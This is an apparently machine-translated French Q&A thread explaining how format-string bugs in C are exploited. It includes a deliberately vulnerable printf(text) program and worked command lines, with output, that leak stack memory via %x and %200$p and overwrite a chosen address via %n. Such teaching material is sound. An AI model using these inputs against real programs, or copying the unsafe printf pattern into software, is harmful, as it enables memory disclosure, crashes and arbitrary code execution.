64 votes

Comment exploiter une vulnérabilité de type Format-String ?

J'étais en train de lire sur les vulnérabilités dans le code et je suis tombé sur ceci Vulnérabilité de Format-String .

Wikipedia dit :

Les bogues de chaîne de format apparaissent le plus souvent lorsqu'un programmeur souhaite imprimer une chaîne contenant des données fournies par l'utilisateur. Le programmeur peut écrire par erreur printf(buffer) au lieu de printf("%s", buffer). La première version de première version interprète buffer comme une chaîne de format, et analyse toute instructions de formatage qu'elle peut contenir. La seconde version se contente de imprime simplement une chaîne de caractères à l'écran, comme le voulait le programmeur.

J'ai compris le problème avec la version printf(buffer), mais je n'ai toujours pas compris comment cette vulnérabilité peut être utilisée par un attaquant pour exécuter du code nuisible. Quelqu'un peut-il m'indiquer comment cette vulnérabilité peut être exploité par un exemple ?

96voto

Michael Foukarakis Points 14892

Vous pouvez exploiter une vulnérabilité de type chaîne de format de plusieurs façons, directement ou indirectement. Prenons l'exemple suivant (en supposant qu'il n'y ait pas de protection du système d'exploitation, ce qui est de toute façon très rare) :

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

La base de cette vulnérabilité est le comportement des fonctions avec des arguments variables. Une fonction qui implémente la gestion d'un nombre variable de paramètres doit les lire depuis la pile, essentiellement. Si nous spécifions une chaîne de format qui rendra printf() attend deux entiers sur la pile, et nous ne fournissons qu'un seul paramètre, le second devra être quelque chose d'autre sur la pile. Par extension, et si nous avons le contrôle sur la chaîne de format, nous pouvons avoir les deux primitives les plus fondamentales :


Lecture d'adresses mémoire arbitraires

[EDIT] IMPORTANT : Je fais ici quelques suppositions sur la disposition de la trame de la pile. Vous pouvez les ignorer si vous comprenez le principe de base derrière la vulnérabilité, et elles varient selon le système d'exploitation, la plate-forme, le programme et la configuration de toute façon.

Il est possible d'utiliser le %s pour lire les données. Vous pouvez lire les données de la chaîne de format originale en printf(text) Vous pouvez donc l'utiliser pour lire n'importe quoi sur la pile :

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Écriture à des adresses mémoire arbitraires

Vous pouvez utiliser le %n pour écrire à une adresse arbitraire (ou presque). Encore une fois, supposons notre programme vulnérable ci-dessus, et essayons de changer la valeur de some_value qui est situé à 0x08049794 comme indiqué ci-dessus :

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

Nous avons écrasé some_value avec le nombre d'octets écrits avant le %n a été rencontré ( man printf ). Nous pouvons utiliser la chaîne de format elle-même, ou la largeur du champ pour contrôler cette valeur :

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

Il existe de nombreuses possibilités et astuces à essayer (accès direct aux paramètres, grande largeur de champ rendant possible le wrap-around, construction de vos propres primitives), et ceci ne fait qu'effleurer la pointe de l'iceberg. Je vous suggère de lire plus d'articles sur les vulnérabilités des chaînes fmt (Phrack en a d'excellents, bien qu'ils soient un peu avancés) ou un livre qui traite du sujet.


Avertissement : les exemples sont tirés [mais pas textuellement] du livre. Piratage : L'art de l'exploitation (2e édition) par Jon Erickson.

16voto

Jonathan Leffler Points 299946

Il est intéressant de noter que personne n'a mentionné le n$ supportée par POSIX. Si vous pouvez contrôler la chaîne de format en tant qu'attaquant, vous pouvez utiliser des notations telles que :

"%200$p"

pour lire les 200 th sur la pile (s'il y en a une). L'intention est de lister tous les n$ de 1 au maximum, et il fournit un moyen de reséquencer la façon dont les paramètres apparaissent dans une chaîne de format, ce qui est pratique lorsqu'il s'agit de I18N (L10N, G11N, M18N * ).

Cependant, certains (probablement la plupart) des systèmes sont quelque peu négligents quant à la façon dont ils valident les données de l'utilisateur. n$ et cela peut conduire à des abus par des attaquants qui peuvent contrôler la chaîne de format. Combiné avec le %n cela peut conduire à l'écriture à des emplacements de pointeur.


* Les acronymes I18N, L10N, G11N et M18N désignent respectivement l'internationalisation, la localisation, la mondialisation et la multinationalisation. Le chiffre représente le nombre de lettres omises.

9voto

Mehrdad Points 70493

Ah, la réponse est dans l'article !

La chaîne de format non contrôlée est un type de vulnérabilité logicielle, découverte vers 1999, qui peut être utilisée dans des exploits de sécurité. Auparavant considérés comme inoffensifs, les exploits de chaînes de format peuvent être utilisés pour planter un programme ou à exécuter un code nuisible .

Un exploit typique utilise une combinaison de ces techniques pour forcer un programme à écraser l'adresse d'une fonction de bibliothèque ou l'adresse de retour sur la pile avec un pointeur vers un shellcode malveillant. Les paramètres de remplissage des spécificateurs de format sont utilisés pour contrôler le nombre d'octets en sortie et la taille de l'octet. %x est utilisé pour extraire des octets de la pile jusqu'à ce que le début de la chaîne de format soit atteint. Le début de la chaîne de format est conçu pour contenir l'adresse que le site %n Le jeton de format peut ensuite être écrasé avec l'adresse du code malveillant à exécuter. .

Cela s'explique par le fait que %n causes printf a écrire données à une variable qui est sur la pile. Mais cela signifie qu'il pourrait écrire dans quelque chose d'arbitraire. Tout ce dont vous avez besoin est que quelqu'un utilise cette variable (c'est relativement facile si c'est un pointeur de fonction, dont vous venez de découvrir comment contrôler la valeur) et il peut vous faire exécuter n'importe quoi arbitrairement.

Jetez un coup d'œil aux liens dans l'article ; ils semblent intéressants .

0voto

Mehrdad Points 70493

Pour l'instant, c'est surtout parce qu'il peut faire planter votre programme, ce qui est considéré comme une attaque par déni de service. Il vous suffit de donner une adresse non valide (pratiquement tout ce qui est avec quelques %s est garanti), et cela devient une simple attaque par déni de service (DoS).

Maintenant, c'est théoriquement possible pour que cela déclenche quoi que ce soit dans le cas d'un gestionnaire d'exception/signal/interruption, mais je n'arrive pas à trouver comment le faire -- vous devez découvrir comment écrire des données arbitraires en mémoire également.

Mais pourquoi quelqu'un se soucie-t-il du fait que le programme se plante, me direz-vous ? N'est-ce pas simplement un inconvénient pour l'utilisateur (qui le mérite de toute façon) ?

Le problème est que certains programmes sont accessibles à de nombreux utilisateurs, et que les faire tomber en panne a un coût non négligeable. Ou parfois, ils sont critiques pour le fonctionnement du système (ou peut-être sont-ils en train de faire quelque chose de très critique), auquel cas cela peut être dommageable pour vos données. Bien sûr, si vous faites planter Notepad, personne ne s'en soucie, mais si vous faites planter CSRSS (qui, je crois, avait en fait un type de bogue similaire - un bogue double-free, spécifiquement), alors oui, tout le système tombe avec vous.


Mise à jour :

Voir ce lien pour le bug du CSRSS auquel je faisais référence.


Editar:

Notez que lire des données arbitraires peut être tout aussi dangereux que l'exécution d'un code arbitraire ! Si vous lisez un mot de passe, un cookie, etc., alors c'est tout aussi grave qu'une exécution de code arbitraire -- et c'est trivial si vous avez juste assez de temps pour essayer suffisamment de chaînes de format.

0voto

trauzti Points 117

Comme l'a dit Jonathan Leffler, le raccourci avec $ est très pratique. Mais si vous exécutez le programme vulnérable depuis bash, l'utilisation correcte serait :

./vulnerable %200\$p

Prograide.com

Prograide est une communauté de développeurs qui cherche à élargir la connaissance de la programmation au-delà de l'anglais.
Pour cela nous avons les plus grands doutes résolus en français et vous pouvez aussi poser vos propres questions ou résoudre celles des autres.

Powered by:

X